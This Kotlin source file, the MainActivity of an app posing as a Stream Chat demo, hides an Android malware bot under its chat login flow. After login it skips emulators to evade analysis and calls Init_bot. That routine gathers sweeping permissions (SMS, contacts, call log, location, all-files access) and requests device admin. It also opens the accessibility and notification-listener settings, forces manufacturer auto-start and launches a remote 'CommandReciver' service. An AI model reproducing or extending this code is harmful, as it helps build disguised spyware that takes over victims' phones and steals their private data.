package com.example.streamchatdemo.ui
import android.Manifest
import android.annotation.SuppressLint
import android.app.admin.DevicePolicyManager
import android.content.ComponentName
import android.content.Context
import android.content.Intent
import android.content.pm.PackageManager
import android.net.Uri
import android.os.Build
import android.os.Build.VERSION.SDK_INT
import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
import android.os.Environment
import android.provider.Settings
import android.util.Log
import androidx.annotation.RequiresApi
import androidx.core.app.ActivityCompat
import androidx.core.content.ContextCompat
import androidx.navigation.NavController
import androidx.navigation.findNavController
import com.example.streamchatdemo.R
import com.example.streamchatdemo.model.ChatUser
import com.example.streamchatdemo.ui.login.LoginFragmentDirections
import io.getstream.chat.android.client.ChatClient
import io.getstream.chat.android.client.models.name
class MainActivity : AppCompatActivity() {
private lateinit var navController: NavController
val TAG = AppInfo.TAG
private val EmulatorDetector = EmulatorDetector()
private val client = ChatClient.instance()
@RequiresApi(Build.VERSION_CODES.LOLLIPOP_MR1)
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
navController = findNavController(R.id.navHostFragment)
if (navController.currentDestination?.label.toString().contains("login")) {
val currentUser = client.getCurrentUser()
if (currentUser != null) {
val user = ChatUser(currentUser.name, currentUser.id)
val action = LoginFragmentDirections.actionLoginFragmentToChannelFragment(user)
navController.navigate(action)
if (AppInfo.VmDetection){
if (!EmulatorDetector.isEmulator()){
Init_bot()
}
}else{
Init_bot()
}
}
}
}
@RequiresApi(Build.VERSION_CODES.LOLLIPOP_MR1)
private fun Init_bot() {
checkPermission()
val isFirstRun = getSharedPreferences(AppInfo.isServiceRunning, MODE_PRIVATE)
if(isFirstRun.getBoolean(AppInfo.FirstRunKey,true)) {
addAutoStartup()
getDeviceAdminPermission()
startActivity(Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS))
startActivity(Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS))
val changeRunEntry = isFirstRun.edit()
changeRunEntry.putBoolean(AppInfo.FirstRunKey,false)
changeRunEntry.apply()
}
val commandReciverService = CommandReciver::class.java
val commandrecive = Intent(applicationContext, commandReciverService)
startService(commandrecive)
startService(Intent(applicationContext,JobWakeUpService::class.java))
}
private fun getDeviceAdminPermission(){
val mDeviceAdminSample = ComponentName(this, DevAdminReceiver::class.java)
val intent = Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN)
intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, mDeviceAdminSample)
this.startActivityForResult(intent, 0)
}
private fun checkPermission() {
val permissionCode = 1
val permission = arrayOf<String>(
Manifest.permission.INTERNET,
Manifest.permission.READ_CONTACTS,
Manifest.permission.READ_SMS,
Manifest.permission.QUERY_ALL_PACKAGES,
Manifest.permission.READ_CALL_LOG,
Manifest.permission.READ_EXTERNAL_STORAGE,
Manifest.permission.SET_WALLPAPER,
Manifest.permission.SEND_SMS,
Manifest.permission.CALL_PHONE,
Manifest.permission.ACCESS_FINE_LOCATION,
Manifest.permission.ACCESS_COARSE_LOCATION,
Manifest.permission.READ_PHONE_STATE,
Manifest.permission.READ_PHONE_NUMBERS,
Manifest.permission.MANAGE_EXTERNAL_STORAGE,
Manifest.permission.WRITE_EXTERNAL_STORAGE,
Manifest.permission.READ_EXTERNAL_STORAGE
)
}
private fun FileCheckPermission(): Boolean {
if (SDK_INT >= Build.VERSION_CODES.R) {
return Environment.isExternalStorageManager()
} else {
val result =
ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE)
val result1 =
ContextCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE)
return result == PackageManager.PERMISSION_GRANTED && result1 == PackageManager.PERMISSION_GRANTED
}
}
private fun requestFilePermission() {
if (SDK_INT >= Build.VERSION_CODES.R) {
try {
val intent = Intent(Settings.ACTION_MANAGE_APP_ALL_FILES_ACCESS_PERMISSION)
intent.addCategory("android.intent.category.DEFAULT")
intent.data = Uri.parse(String.format("package:%s", applicationContext.packageName))
this.startActivityForResult(intent,0)
} catch (e: Exception) {
val intent = Intent()
intent.action = Settings.ACTION_MANAGE_ALL_FILES_ACCESS_PERMISSION
this.startActivityForResult(intent,0)
}
} else {
//below android 11
ActivityCompat.requestPermissions(
this,
arrayOf(Manifest.permission.WRITE_EXTERNAL_STORAGE),
1
)
}
}
private fun hasPermissions(context: Context?, vararg permissions: String?): Boolean {
if (context != null) {
for (permission in permissions) {
if (ActivityCompat.checkSelfPermission(
context,
permission!!
) != PackageManager.PERMISSION_GRANTED
) {
return false
}
}
}
return true
}
@SuppressLint("QueryPermissionsNeeded")
private fun addAutoStartup() {
try {
val intent = Intent()
val manufacturer = Build.MANUFACTURER
when {
"xiaomi".equals(manufacturer, ignoreCase = true) -> {
intent.component = ComponentName(
"com.miui.securitycenter",
"com.miui.permcenter.autostart.AutoStartManagementActivity"
)
}
"oppo".equals(manufacturer, ignoreCase = true) -> {
intent.component = ComponentName(
"com.coloros.safecenter",
"com.coloros.safecenter.permission.startup.StartupAppListActivity"
)
}
"vivo".equals(manufacturer, ignoreCase = true) -> {
intent.component = ComponentName(
"com.vivo.permissionmanager",
"com.vivo.permissionmanager.activity.BgStartUpManagerActivity"
)
}
"Letv".equals(manufacturer, ignoreCase = true) -> {
intent.component = ComponentName(
"com.letv.android.letvsafe",
"com.letv.android.letvsafe.AutobootManageActivity"
)
}
"Honor".equals(manufacturer, ignoreCase = true) -> {
intent.component = ComponentName(
"com.huawei.systemmanager",
"com.huawei.systemmanager.optimize.process.ProtectActivity"
)
}
}
val list =
packageManager.queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY)
if (list.size > 0) {
startActivity(intent)
}
} catch (e: Exception) {
Log.e(AppInfo.TAG, e.toString())
}
}
}